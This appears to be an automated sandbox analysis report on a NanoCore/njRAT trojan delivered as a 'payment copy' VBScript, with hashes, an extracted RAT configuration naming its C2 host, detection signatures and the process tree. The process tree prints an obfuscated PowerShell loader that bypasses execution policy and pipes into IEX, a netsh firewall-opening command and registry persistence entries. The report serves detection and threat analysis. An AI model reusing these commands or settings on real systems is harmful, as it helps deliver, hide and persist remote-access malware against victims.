nanocore | 816d9c966736b02b56d23629f8968fdb4f910fd575c4c07b524bd51948c5d4ed

General

Target

U2M19O_Payment_Copy.vbs
Size

2KB
MD5

13f187df5383e456f90b6c337d9fc0e7
SHA1

5a37a0a1d44f7fd4323234d1a6c8264da4a64ee4
SHA256

816d9c966736b02b56d23629f8968fdb4f910fd575c4c07b524bd51948c5d4ed
SHA512

51d4373ab08780bd7d746f961feb8f8749967bba0c2e785aaeb18b961a62c364be63c86ec3df969e17ea987454ea76628d13d1c0127886f2ac5f840a4af2b6d9

Score

10^/10

nanocore njrat hacked evasion keylogger persistence spyware stealer suricata trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

jamcav.duckdns.org:6746

Mutex

9bb8b571-1a08-4fb2-8447-a1da0968f2fa

Attributes

activate_away_mode
true
backup_connection_host
jamcav.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-08-20T15:54:30.577245636Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
6746
default_group
jam
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
jamcav.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
suricata: ET MALWARE Possible NanoCore C2 60B
suricata: ET MALWARE Possible NanoCore C2 60B
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

15 4508 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

GoogleCrashHandler.exe

pid process

2412 GoogleCrashHandler.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
15	4508	powershell.exe

pid	process
2412	GoogleCrashHandler.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

jsc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 4508 set thread context of 1396	4508	powershell.exe	jsc.exe
PID 4508 set thread context of 2008	4508	powershell.exe	jsc.exe
PID 4508 set thread context of 3848	4508	powershell.exe	jsc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

powershell.exepowershell.exejsc.exe

pid	process
4052	powershell.exe
4052	powershell.exe
4052	powershell.exe
4508	powershell.exe
4508	powershell.exe
4508	powershell.exe
4508	powershell.exe
4508	powershell.exe
2008	jsc.exe
2008	jsc.exe
2008	jsc.exe
2008	jsc.exe
2008	jsc.exe
2008	jsc.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

jsc.exe

pid process

2008 jsc.exe

pid	process
2008	jsc.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

Processes:

powershell.exepowershell.exejsc.exejsc.exe

description	pid	process
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	2008	jsc.exe
Token: SeDebugPrivilege	3848	jsc.exe
Token: 33	3848	jsc.exe
Token: SeIncBasePriorityPrivilege	3848	jsc.exe
Token: 33	3848	jsc.exe
Token: SeIncBasePriorityPrivilege	3848	jsc.exe
Token: 33	3848	jsc.exe
Token: SeIncBasePriorityPrivilege	3848	jsc.exe
Token: 33	3848	jsc.exe
Token: SeIncBasePriorityPrivilege	3848	jsc.exe
Token: 33	3848	jsc.exe
Token: SeIncBasePriorityPrivilege	3848	jsc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

jsc.exe

pid process

1396 jsc.exe

pid	process
1396	jsc.exe

Suspicious use of WriteProcessMemory 37 IoCs

Processes:

WScript.exepowershell.exepowershell.exejsc.exejsc.exe

description	pid	process	target process
PID 3740 wrote to memory of 4052	3740	WScript.exe	powershell.exe
PID 3740 wrote to memory of 4052	3740	WScript.exe	powershell.exe
PID 4052 wrote to memory of 4508	4052	powershell.exe	powershell.exe
PID 4052 wrote to memory of 4508	4052	powershell.exe	powershell.exe
PID 4508 wrote to memory of 1396	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1396	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1396	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1396	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1396	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1396	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1396	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1396	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1892	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1892	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 1892	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 2008	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 2008	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 2008	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 2008	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 2008	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 2008	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 2008	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 2008	4508	powershell.exe	jsc.exe
PID 1396 wrote to memory of 2412	1396	jsc.exe	GoogleCrashHandler.exe
PID 1396 wrote to memory of 2412	1396	jsc.exe	GoogleCrashHandler.exe
PID 1396 wrote to memory of 2412	1396	jsc.exe	GoogleCrashHandler.exe
PID 4508 wrote to memory of 3848	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 3848	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 3848	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 3848	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 3848	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 3848	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 3848	4508	powershell.exe	jsc.exe
PID 4508 wrote to memory of 3848	4508	powershell.exe	jsc.exe
PID 3848 wrote to memory of 4636	3848	jsc.exe	netsh.exe
PID 3848 wrote to memory of 4636	3848	jsc.exe	netsh.exe
PID 3848 wrote to memory of 4636	3848	jsc.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\U2M19O_Payment_Copy.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3740

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $cc = 'by------------s'.Replace('------------','pas');$bb = '-ex++++++++++++++++icy'.Replace('++++++++++++++++','ecutionpol');$aa = '-no--------------le'.Replace('--------------','profi');$dd = 'C:\Us<<<<<<<<<>>>>>>>>>ar.ps1'.Replace('<<<<<<<<<>>>>>>>>>','ers\Public\Downloads\HB');$Run = 'Powers-----------------dd'.Replace('-----------------','hell $aa $bb $cc -file $');($Run -Join '')|&('I'+'eX')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4052

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -executionpolicy bypass -file C:\Users\Public\Downloads\HBar.ps1
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4508

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1396

C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
"C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe"
5⤵
- Executes dropped EXE
PID:2412

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
PID:1892

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:2008

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3848

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" "jsc.exe" ENABLE
5⤵
PID:4636

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
MD5
ea6243fdb2bfcca2211884b0a21a0afc

SHA1
2eee5232ca6acc33c3e7de03900e890f4adf0f2f

SHA256
5bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8

SHA512
189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\jsc.exe.log
MD5
6cbb1d6c55c64852f7b0e9414b2adda6

SHA1
ffb792bb6182475bea27e090e347bfe0fe87f9ed

SHA256
6d98c0f1c22acff523f7bdc81746a0ad7ed811d6a8de4ca8fa76d24b73c6e469

SHA512
236aa3aaff08969eb470d2a077eea37cf10169ae2455568fc3e9c753e13e55654ff0a6730c7732b5f1b02d64a0fceb17626b05b87a922f4c20369c76c99ad2a4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
77d7fb55f4f5ca865ac0d72a83ed368a

SHA1
9c0d16be97c1f6501fd42a4716b9c2cb646a527f

SHA256
b08aee1e5b1320b9e8175ffa7eecbaf6f7abc0319673dfa39f9ab612aff4bfd5

SHA512
62f0b1e22ab98e77ccfd458af4b56694f4ddc69bfa3e3afe8f39c31d23c7015827f0361c18e14f01c9f7d067ebcb8e4db43497180492c8f9bd3d11eda4a8041c

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Admin\AppData\Local\Temp\GoogleCrashHandler.exe
MD5
f1feead2143c07ca411d82a29fa964af

SHA1
2198e7bf402773757bb2a25311ffd2644e5a1645

SHA256
8f2800ac8af72e8038e146b3988a30651952f20ed6cdf7be3ae4709fbb026af1

SHA512
e7e2266ec862a793da7cea01c926b7a874453cf2efb0b4b77776c26042dc2ded74f17c390fad97bd2d8c0c4971a1b9d9e6c705a13edbc9e48570922e5e6cc9df

Download Submit
C:\Users\Public\Downloads\HBar.ps1
MD5
1bae7491228ed609f685e4ddf0495777

SHA1
e559d10117c683e0dd5d4aac67ae37e6ec29631b

SHA256
f59cff14d9c84126dbfbc12e256f0f6f82e29250920d3d0ecb298a360d501375

SHA512
b757a741ab26161e022ecf7060e41705132c8c099c52a22799c2ef5612d918b19eef782d4bce7aaeed3e99532e0b87e828348bb805160fbb590e38d3afd08035

Download Submit
memory/1396-167-0x0000000000400000-0x0000000000418000-memory.dmp

Filesize
96KB

Download
memory/1396-173-0x00000000053E0000-0x00000000053E1000-memory.dmp

Filesize
4KB

Download
memory/1396-172-0x0000000004E40000-0x0000000004E41000-memory.dmp

Filesize
4KB

Download
memory/1396-171-0x0000000004DA0000-0x0000000004DA1000-memory.dmp

Filesize
4KB

Download
memory/1396-186-0x0000000004EE0000-0x00000000053DE000-memory.dmp

Filesize
5.0MB

Download
memory/1396-168-0x00000000004123BE-mapping.dmp

Download
memory/2008-191-0x00000000052B0000-0x00000000052B5000-memory.dmp

Filesize
20KB

Download
memory/2008-194-0x0000000005350000-0x0000000005369000-memory.dmp

Filesize
100KB

Download
memory/2008-177-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/2008-187-0x0000000002BA0000-0x0000000002C32000-memory.dmp

Filesize
584KB

Download
memory/2008-208-0x0000000002BA0000-0x0000000002C32000-memory.dmp

Filesize
584KB

Download
memory/2008-198-0x0000000005E60000-0x0000000005E63000-memory.dmp

Filesize
12KB

Download
memory/2008-178-0x000000000041E792-mapping.dmp

Download
memory/2008-188-0x0000000002C30000-0x0000000002C31000-memory.dmp

Filesize
4KB

Download
memory/2412-182-0x0000000000000000-mapping.dmp

Download
memory/2412-207-0x000000007EA40000-0x000000007EA41000-memory.dmp

Filesize
4KB

Download
memory/2412-190-0x0000000000940000-0x0000000000941000-memory.dmp

Filesize
4KB

Download
memory/3848-224-0x0000000005600000-0x0000000005AFE000-memory.dmp

Filesize
5.0MB

Download
memory/3848-193-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/3848-195-0x000000000040BBCE-mapping.dmp

Download
memory/4052-128-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4052-142-0x000001CAF1EE3000-0x000001CAF1EE5000-memory.dmp

Filesize
8KB

Download
memory/4052-141-0x000001CAF1EE0000-0x000001CAF1EE2000-memory.dmp

Filesize
8KB

Download
memory/4052-209-0x000001CAF1EE6000-0x000001CAF1EE8000-memory.dmp

Filesize
8KB

Download
memory/4052-118-0x0000000000000000-mapping.dmp

Download
memory/4052-130-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4052-129-0x000001CAF4170000-0x000001CAF4171000-memory.dmp

Filesize
4KB

Download
memory/4052-127-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4052-126-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4052-125-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4052-124-0x000001CAF3FC0000-0x000001CAF3FC1000-memory.dmp

Filesize
4KB

Download
memory/4052-123-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4052-122-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4052-121-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4052-120-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4052-119-0x000001CAF1880000-0x000001CAF1882000-memory.dmp

Filesize
8KB

Download
memory/4508-135-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-144-0x000001BC35653000-0x000001BC35655000-memory.dmp

Filesize
8KB

Download
memory/4508-155-0x000001BC35656000-0x000001BC35658000-memory.dmp

Filesize
8KB

Download
memory/4508-151-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-148-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-147-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-146-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-166-0x000001BC35640000-0x000001BC35644000-memory.dmp

Filesize
16KB

Download
memory/4508-145-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-143-0x000001BC35650000-0x000001BC35652000-memory.dmp

Filesize
8KB

Download
memory/4508-139-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-138-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-137-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-136-0x000001BC1CE90000-0x000001BC1CE92000-memory.dmp

Filesize
8KB

Download
memory/4508-134-0x0000000000000000-mapping.dmp

Download
memory/4636-223-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads